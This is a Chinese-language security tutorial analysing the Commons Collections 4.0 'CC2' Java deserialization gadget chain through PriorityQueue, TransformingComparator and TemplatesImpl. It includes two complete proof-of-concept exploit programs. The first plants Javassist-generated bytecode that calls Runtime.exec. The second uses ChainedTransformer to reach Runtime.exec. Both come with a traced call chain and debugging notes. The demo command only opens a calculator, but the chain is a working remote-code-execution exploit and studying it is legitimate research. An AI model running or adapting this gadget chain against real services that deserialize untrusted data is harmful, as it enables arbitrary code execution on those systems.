0x01 前言
cc1有版本限制,原因在于高版本8u71的JDK改写了AnnotationInvocationHandler的readobject方法,导致readObject反序列化时出现一些异常。因此在1.8u71以上的JDK,我们可以尝试使用cc2,cc2依赖commons-collections4:4.0。
分析所用的jdk版本:8u202
maven添加依赖:
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
0x02 相关知识
javasist
Javassist是一个开源的分析、编辑和创建Java字节码的类库,可以直接编辑和生成Java生成的字节码。它可以在Java程序运行时定义一个新的类,并加载到JVM中;还可以在JVM加载时修改一个类文件。Javassist使用户不必关心字节码相关的规范也是可以编辑类文件的。
maven添加依赖:
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>
相关类:
ClassPool
:javassist的类池,使用ClassPool 类可以跟踪和控制所操作的类,它的工作方式与 JVM 类装载器非常相似CtClass
: CtClass提供了类的操作,如在类中动态添加新字段、方法和构造函数、以及改变类、父类和接口的方法。CtField
:类的属性,通过它可以给类创建新的属性,还可以修改已有的属性的类型,访问修饰符等CtMethod
:类中的方法,通过它可以给类创建新的方法,还可以修改返回类型,访问修饰符等, 甚至还可以修改方法体内容代码CtConstructor
:与CtMethod类似
示例:
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;
public class Demo {
public static void main(String[] args) throws Exception{
// 获取默认类池
ClassPool pool = ClassPool.getDefault();
// 增加AbstractTranslet类的路径为搜索路径
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
// 创建Evil类
CtClass test = pool.makeClass("Evil");
String name = "Evil" + System.nanoTime();
// 修改Evil类的名字
test.setName(name);
String cmd = "System.out.println(\"Hello,Javasist\");";
// 设置继承的类
test.setSuperclass(pool.get(AbstractTranslet.class.getName()));
// 设置默认空构造函数
CtConstructor constructor = test.makeClassInitializer();
// 将字节码插入类开头
constructor.insertBefore(cmd);
// 字节码写入路径
test.writeFile("./");
}
}
PriorityQueue
PriorityQueue是优先队列,作用是保证每次取出的元素都是队列中权值最小的,这里涉及到了大小关系,元素大小的评判可以通过元素自身的自然顺序(使用默认的比较器),也可以通过构造时传入的比较器。Java中PriorityQueue实现了Queue接口,不允许放入null元素。
TransformingComparator
TemplatesImpl
该类中对defineClass进行了重写,并且没有显式的对定义域进行声明,可以被外部进行调用。我们可以进行一系列的调用来触发,因此可以利用它来加载字节码,利用链如下所示。其中getOutputProperties()
和newTransformer()方法作用域为public可以被外部调用,因此这两个方法可以作为入口。
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TransletClassLoader.defineClass()
0x03 利用链分析
CC2利用链代码如下:
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class cc2 {
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload=classPool.makeClass("CommonsCollections22222222222");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtime
byte[] bytes=payload.toBytecode();//转换为byte数组
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象
PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
queue.add(1);//添加数字1插入此优先级队列
queue.add(1);//添加数字1插入此优先级队列
Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
field2.setAccessible(true);//暴力反射
field2.set(queue,comparator);//设置queue的comparator字段值为comparator
Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
field3.setAccessible(true);//暴力反射
field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
}
}
调用链如下:
ObjectInputStream.readObject() //输入流传值后调用readObject进行反序列化
PriorityQueue.readObject() //进入CC2 入口,readObject
PriorityQueue.heapify()
PriorityQueue.siftDown
PriorityQueue.siftDownUsingConparator()
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TransletClassLoader.defineClass()
newInstance()
Runtime.getRuntime().exec("calc.exe")
javasist生成恶意类
ClassPool classPool=ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload=classPool.makeClass("CommonsCollections22222222222");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtime
这里通过javasist生成一个恶意类的字节码,这里是弹计算器。
需要注意恶意类的父类需要设置为AbstractTranslet
。
恶意类字节码保存到TemplatesImpl对象
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test
将恶意类字节码赋值给templatesImpl对象的_bytecodes属性,给_name属性随便赋值,templatesImpl类存在一个方法getTransletInstance,调用该方法可以实现对恶意类字节码的加载和生成实例,如下图所示。
图中红框解释了为什么要给_name属性赋值的原因,因为如果为null函数会直接返回。
蓝框则会从_bytes中加载恶意类字节码。
绿框解释了恶意类的父类为什么是AbstractTranslet类,这里进行了强制类型转换,并且对恶意类进行了实例化,导致恶意类static代码执行。
在defineTransletClasses类中,关键代码如下,templatesImpl类的静态内部类TransletClassLoader重写了defineClass方法,可以直接将字节码加载为类。第二个红框中代码解释了为什么恶意类父类必须是AbstractTranslet类,通过_transletIndex来控制实例化_class[]中的哪个类。
需要注意的是,p牛在Java安全漫谈中提到_tfactory
不能为null,否则会报错。实际测试CC2中是不需要对该属性进行设置的。因为在CC2的入口类PriorityQueue#readObject中存在s.defaultReadObject(),该方法中会调用到TemplatesImpl的readObject方法,该方法会对_tfactory新建一个对象,就不为null了。
InvokerTransformer调用newTransformer方法
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象
templatesImpl类中的newTransformer会调用getTransletInstance方法。
TransformingComparator类中的compare方法会调用transform方法,只要obj1或obj2为存有恶意类字节码的TemplatesImpl对象,即可执行命令。
PriorityQueue设置comparator和queue
PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
queue.add(1);//添加数字1插入此优先级队列
queue.add(1);//添加数字1插入此优先级队列
Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
field2.setAccessible(true);//暴力反射
field2.set(queue,comparator);//设置queue的comparator字段值为comparator
Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
field3.setAccessible(true);//暴力反射
field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl
在PriorityQueue#readObject
方法中,最终会触发比较器TransformingComparator的compare方法。
这里有个问题,为什么需要add两个数据而不是0个或其它个数。
原因在于heapify中size >>> 1
,>>>是无符号右移位,不管正数还是负数,高位都用0补齐(忽略符号位)。如果size是0或者1,二进制表示为00,01,右移一位之后都为0,i=-1则不会调用siftDown方法。实际上siftDown传入的queue只是第一个参数,实际上在通过反射传入queue的时候,只需要保证第一个参数是templatesImpl就可以了,第二个参数随意。
0x04 利用链调试
PriorityQueue#readObject
PriorityQueue#heapify
PriorityQueue#siftDown
,传入参数为0和一个TemplatesImpl恶意对象PriorityQueue#siftDownUsingComparator
TransformingComparator#compare
,比较的参数分别是两个恶意的TemplatesImpl对象,接着调用InvokerTransformer的transfrom方法InvokerTransformer#transform
,传入对象为TemplatesImpl,即调用TemplatesImpl.newTransformer方法TransformerImpl#newTransformer
TransformerImpl#getTransletInstance
,接着会实例化恶意类,执行恶意代码
接着代码会执行到下一行,translet.postInitialization,进入该函数后namesArray为null,会抛出空指针异常,InvokerTransformer捕获异常并抛出,程序终止。
0x05 总结
CC2链比CC1链复杂了一些,其核心类是TemplatesImpl,通过该类执行恶意代码,入口点则是PriorityQueue。CC2的sink也可以使用CC1的ChainedTransformer,该版本POC如下:
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class cc21 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"calc"})});
TransformingComparator comparator = new TransformingComparator(chain);
PriorityQueue queue = new PriorityQueue(1);
queue.add(1);
queue.add(2);
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue,comparator);
try {
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2"));
inputStream.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}
简易版的CC2的sink采用的是CC1的ChainedTransformer#transform而不是TemplatesImpl#newTransformer,但source都是PriorityQueue。需要注意的是简易版中没有以下代码:
Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
field3.setAccessible(true);//暴力反射
field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl
因为简化版的ChainedTransformer传入的参数是不影响transform方法的,而原版的CC2是使用InvokerTransformer调用newTransformer方法的,是需要传入参数为调用方法的对象,所以需要传入两个载有恶意字节码的templatesImpl对象。